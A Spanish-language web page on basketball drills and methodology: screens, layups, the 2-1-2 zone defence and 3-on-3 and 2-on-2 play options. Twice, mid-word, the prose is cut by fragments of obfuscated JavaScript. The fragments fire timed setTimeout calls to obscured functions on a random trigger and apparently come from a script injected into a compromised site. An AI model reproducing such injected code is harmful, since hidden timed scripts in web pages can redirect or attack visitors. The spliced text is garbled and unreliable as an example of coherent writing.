EJERCICIOS Y METODOLOGÍA DE JUEGO DEL BALONCESTO

Autora: Laura Márquez Benavides   

          Metodología y actividades de baloncesto dirigidas a practicar el bloqueo directo e indirecto, ejercicios de entrada a canasta por el centro,  a aro pasado, semigancho,  aplicandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando cambio de dirección con reveso, finta. Lanzamientos. Movimientos de la defensa de zona 2-1-2 y situaciones para resolver un 3×3.   

     

EJERCICIOS Y METODOLOGÍA DE JUEGO DEL BALONCESTO   

OPCIONES PARA REALIZAR UN 3 CONTRA 3   

   

 

   

   

 

  

  

 

El jugador 1 tiene la pelota.  El jugador 4 sube a bloquear a 1. Y 1 entra en profundidad a canasta.  4 puede seguir interviniendo en la jugada dándose media vuelta tras realizar el bloqueo  y dirigirse hacia canasta (puede recibir la pelota si 1 no tiene posibilidades de lanzar o recoger el rebote).   


   

Opciones de un 2×2 cuandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando 1 le pasa a 2;   

a)     2 se desmarca y se juega un 1 contra 1 con su defensor 2.   

 ab) 4 sube y realiza bloqueo al defensor 2. 2 entra a canasta o realiza lanzamiento o puede pasar a 4 si  éste no está marcado.   

   

b) El jugador 2 le pase a 4. 2 penetra en profundidad y 4 le realiza el pase.